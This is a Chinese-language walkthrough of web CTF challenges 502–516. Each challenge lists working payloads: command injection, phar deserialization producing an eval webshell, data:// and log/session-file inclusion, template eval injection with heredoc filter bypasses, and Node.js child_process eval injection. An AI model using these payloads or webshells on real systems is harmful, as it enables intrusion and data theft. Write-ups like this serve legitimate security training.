文章目录
题目列表
web502
先万能密码登录

打开数据库备份功能页面

打开网页源码,可以看到POST请求是发送到api/admin_db_backup.php
的

查看api/admin_db_backup.php
源码,GET请求/index.php?action=../api/admin_db_backup

相比上题,这里的正则改成了preg_match('/^(zip|tar|sql)$/', $db_format)
,要求$db_format
只能严格匹配 "zip"、"tar"、"sql" 这三个字符串,任何多余字符都不会通过,那我们换个方法,可以利用$pre
进行变量覆盖然后分号截断执行命令
payload:
db_format=zip&pre=1.txt;cat /f*>/var/www/html/1.txt;

最后访问/1.txt
读取flag即可

web503
$pre
和$db_format
被md5包裹了,无法利用了

然后上面可以看到有个file_exists
函数,先记着,后面会用到

用万能密码登录首页后,在系统配置功能处可以看到有个图片上传功能

查看源码看到有个api/admin_upload.php
,跟文件上传功能有关

我们看看源码,GET传参/index.php?action=../api/admin_upload
,这里只截取关键代码
php
if($user){
$arr = $_FILES["file"];
if(($arr["type"]=="image/jpeg" || $arr["type"]=="image/png" ) && $arr["size"]<10241000 )
{
$arr["tmp_name"];
$filename = md5($arr['name']);
$ext = pathinfo($arr['name'],PATHINFO_EXTENSION);
if(!preg_match('/^php$/i', $ext)){
$basename = "../img/".$filename.'.' . $ext;
move_uploaded_file($arr["tmp_name"],$basename);
$config = unserialize(file_get_contents(__DIR__.'/../config/settings'));
$config['logo']=$filename.'.' . $ext;
file_put_contents(__DIR__.'/../config/settings', serialize($config));
$ret['msg']='文件上传成功';
}
这里判断文件 MIME 类型是否是 JPEG 或 PNG,并且文件大小要小于10MB,且禁止扩展名为"php"的文件上传,然后对内容进行反序列化。结合前面/api/admin_db_backup.php
的file_exists
函数,我们可以用phar反序列化来做
这里要用到之前题目讲的反序列化,具体可以参考web493,setStub那里要加个GIF89a
来伪装图片
payload:
php
<?php
class dbLog{
public $sql;
public $content = '<?php eval($_POST[1]);?>';
public $log = '1.php';
}
$a = new dbLog();
$phar = new Phar('a.phar');
$phar -> startBuffering();
$phar -> addFromString('test.txt','test');
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER(); ?>');
$phar -> setMetadata($a);
$phar -> stopBuffering();
?>
运行后当前目录会生成一个a.phar
文件,修改文件后缀名为png,然后上传到系统配置那里

右键图像复制图像链接,例如我这边是/img/32d3ca5e23f4ccf1e4c8660c40e75f33.png
,接着我们要借用file_exists
来触发phar反序列化,如图所示发包
pre=phar:///var/www/html/img/32d3ca5e23f4ccf1e4c8660c40e75f33&db_format=.png

最后再蚁剑连接即可

根目录找到flag

web504
这次发现这里多了模板添加功能,但是查看不了源码

可以上传文件

参考我们之前做的web499,可以尝试写序列化代码到config/settings
,等网页加载时会进行反序列化然后生成木马
payload:
php
<?php
class dbLog{
public $sql;
public $content = '<?php eval($_POST[1]);?>';
public $log = '2.php';
}
$a = new dbLog();
echo serialize($a);
?>
得到结果
O:5:"dbLog":3:{s:3:"sql";N;s:7:"content";s:24:"<?php eval($_POST[1]);?>";s:3:"log";s:5:"2.php";}
然后进行上传,如图所示

这时点击系统配置功能处,可以看到内容已经写入,并覆盖了原来的内容

蚁剑连接2.php

根目录找到flag

web505
这次文件上传不了,应该是后端做了校验

但是发现多了一个文件查看功能,可以查看文件源码

我们看看api/admin_templates.php
源码,可以看到把settings
过滤了

在文件查看功能处查看源码,找到api/admin_file_view.php
,我们看看源码

关键源码
php
if($user){
extract($_POST);
if($debug==1 && preg_match('/^user/', file_get_contents($f))){
include($f);
}else{
$ret['data']=array('contents'=>file_get_contents(__DIR__.'/../'.$name));
}
$ret['msg']='查看成功';
die(json_encode($ret));
可以看到当满足$debug==1
且$f
以user开头,就用include
进行文件包含。我们可以用data伪协议来做,然后发送内容到api/admin_file_view.php
payload:
debug=1&f=data://text/plain,user<?php system('cat /f*');?>
结果如图所示

web506
这题的api/admin_file_view.php
相比上题,多了一个判断文件名后缀的代码,取 $f
文件名的最后三个字符,如果扩展名是 php
、sml
或 phar
(不区分大小写),则直接返回提示、终止流程

不过不影响,我们用的是data伪协议,步骤跟上题一样
debug=1&f=data://text/plain,user<?php system('cat /f*');?>

web507
api/admin_file_view.php
没变,继续用上题方法
debug=1&f=data://text/plain,user<?php system('cat /f*');?>

web508
这次把伪协议禁了,不能直接写伪协议,不过我们可以换个方法,用一个文件来当中转站执行命令

在系统配置那里可以看到有个网站Logo上传,可以用这个当中转站

随便上传一张图片,抓包,然后修改内容为user<?php system('cat /f*');?>
,重新发包

然后回到网页,右键复制图像链接,发送POST请求到api/admin_file_view.php
,如图所示
debug=1&f=/var/www/html/img/4a47a0db6e60853dedfcfdf08a5ca249.png

web509
这次api/admin_upload.php
会对文件内容进行校验

用短回显标签和反引号绕过即可
user<?=`cat /f*`?>

右键复制图像链接,发送POST请求到api/admin_file_view.php
debug=1&f=/var/www/html/img/4a47a0db6e60853dedfcfdf08a5ca249.png

web510
这次文件上传限制很严格,换个方法

通过分析,发现个人信息修改处存在漏洞


我们看看api/admin_edit.php
对应的源码

回到个人信息处查看源码,显示昵称对应的就是nickname
,那我们可以用session文件包含来做这题

看看对应的session文件,在cookie复制PHPSESSID
的值,然后拼接访问,如图

刚好前面有个user,符合api/admin_file_view.php
的要求,我们在名称修改处传入一句话木马,然后进行文件包含即可

剩余的步骤跟之前一样,发送POST请求到api/admin_file_view.php
debug=1&f=/tmp/sess_k9u1ni1spqatv8uvt3acr416o6&1=system('cat /f*');

web511
这次把sess也过滤了

一个个分析其他代码,发现render/render_class.php
有个eval
函数

我们看看能不能利用,也是同一个文件,在上面可以看到shade
函数调用了checkVar
,然后render
函数调用了shade

后面在index.php
发现调用了render
,GET传入?action=view&page=1
即可,关键是$user
如何控制,且要求是个数组

继续分析,发现api/admin_edit.php
可以控制user数组,那我们只要nickname传入要执行的命令,然后修改前面的模板占位符为{``{var:nickname}}
即可

修改nickname执行命令

然后打开新增模板功能,名称写1.sml
,因为后面我们要GET传入?action=view&page=1
,要跟page对应,然后内容写1{``{var:nickname}}
,用于模板渲染。
加个1是因为render/render_class.php
中if(stripos($templateContent, '{``{var:'.$key.'}}')){
这里有问题,如果是在开头匹配到的话会返回下标0,然后if(0)
就不会进入语句块,也就无法执行eval,正确写法应该是
php
if(stripos($templateContent, '{{var:'.$key.'}}') !== false){
回归正题,我们传入内容如图所示

然后访问index.php?action=view&page=1
触发漏洞即可

web512
这次render/render_class.php
对$value
过滤很严格,字符可以用字符串拼接绕过,然后因为括号()用不了,我们用include来包含文件,include是可以不用括号包裹直接用的

因为网站的php版本为5.6,且正则没有过滤花括号,可以用$_POST{1}
来代替$_POST[1]
,旧版 PHP 允许使用花括号 {}
访问数组某个键,比如 $_POST{1}
,这是 PHP 早期版本的语法,但从 PHP 7.4 开始,花括号访问数组的语法被废弃并在 PHP 8.0 中移除

那我们要写入的命令为
php
<?php include $_POST{1};?>
网上看别的师傅有一个很牛的方法,可以用heredoc语法来定义长字符串,它允许开发者定义多行字符串而不需要使用引号,也不用为引号、换行符等转义,非常方便地写包含多行HTML、SQL、代码片段等内容的字符串,格式为
$变量名 = <<<标识符
多行字符串内容
标识符;
<<<
是heredoc开始的标记,后面跟一个自定义的标识符,直到文件中某一行独立写着完全相同的结束标识符就结束,结束标识符后必须加分号;
结束
这里要用到之前的反序列化知识,具体可以回顾web493
payload:
username=admin&nickname=1;
$a=<<<ctf
<?php includ
ctf;
$b=<<<ctf
e $
ctf;
$c=<<<ctf
_POS
ctf;
$d=<<<ctf
T{1};?>
ctf;
$n=<<<ctf
1.php
ctf;
$e=clone $db;
$e->log->log=$n;
$e->log->content=$a.$b.$c.$d;
POST发包到api/admin_edit.php

然后跟上题一样新增模板,模板在后端渲染后会生成1.php
名称:1.sml
内容:1{{var:nickname}}

访问1.php
,然后用data伪协议执行命令即可
1=data://text/plain,<?php system('cat /f*');

web513
这次过滤更加严格了,那咱们换个方法

发现下面多了一个checkFoot
函数,具体代码如下
php
public static function checkFoot($templateContent){
if ( stripos($templateContent, '{{cnzz}}')) {
$config = unserialize(file_get_contents(__DIR__.'/../config/settings'));
$foot = $config['cnzz'];
if(is_file($foot)){
$foot=file_get_contents($foot);
include($foot);
}
}
return $templateContent;
}
这里会读取config/settings
的内容进行反序列化,根据前面的题目,对应的文件为api/admin_settings.php

也就是会把系统配置功能处的数据存入$config
数组,然后$config['cnzz']
对应的是页面统计

因为render/render_class.php
有个$foot=file_get_contents($foot)
,然后再进行include操作,那我们可以在页面统计放入一个文件地址,然后这个文件的内容是另一个文件的地址,这样就可以进行文件包含
先写一个模板到templates目录下,内容为/var/log/nginx/access.log

然后页面统计写/var/www/html/templates/1.sml

接着写入模板2.sml
,内容为1{``{cnzz}}

最后访问index.php?action=view&page=2
,成功读取到/var/log/nginx/access.log
内容

然后进行日志文件执行命令即可,UA头写入一句话木马,读取flag

web514
这次加了过滤,可以用data伪协议来做

我们传入data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8%2B
,但是如果直接传入是不行的,因为有过滤

preg_match
的话我们可以用数组绕过 ,因为preg_match
的第二个参数(待匹配内容)必须是字符串,如果传入的是数组,preg_match
会返回false而不是报错,如图所示传入

验证一下,可以看到成功写入了

剩余的步骤跟上题一样,系统配置页面的页面统计写入地址/var/www/html/templates/1.sml
,然后新增模板2.sml
,内容1{``{cnzz}}
,最后访问index.php?action=view&page=2
执行命令即可

web515
先看代码
javascript
var express = require('express');
var _= require('lodash');
var router = express.Router();
/* GET users listing. */
router.get('/', function(req, res, next) {
res.render('index', { title: '我是复读机' });
});
router.post('/',function(req,res,next){
if(req.body.user!=null){
msg = req.body.user;
if((msg.match(/proto|process|require|exec|var|'|"|:|\[|\]|[0-9]/))!==null || msg.length>40){
res.render('index', { title: '敏感信息不复读' });
}else{
res.render('index', { title: eval(msg) });
}
}else{
res.render('index', { title: '我是复读机' });
}
});
module.exports = router;
之前做过类似的题,我们eval嵌套执行就好,GET传入
index.php?a=require('child_process').spawnSync('cat',['/flag']).stdout.toString()
然后body传入
user=eval(req.query.a)

web516
下载附件进行分析,其中关键代码为index.js
里面的登录成功后显示处,会执行eval函数

但是app.js
有限制

不能出现这些字符串,那我们用反引号拼接字符串就可以,还是用上题的代码,修改一下即可
payload:
1)+eval((`req`+`uire('child_pro`+`cess').spawnSync('ls',['/']).stdout.toString()`)
先进行注册

再点击sign in
登录

成功执行命令

同理,我们修改一下执行命令env,成功找到flag
1)+eval((`req`+`uire('child_pro`+`cess').spawnSync('env').stdout.toString()`)
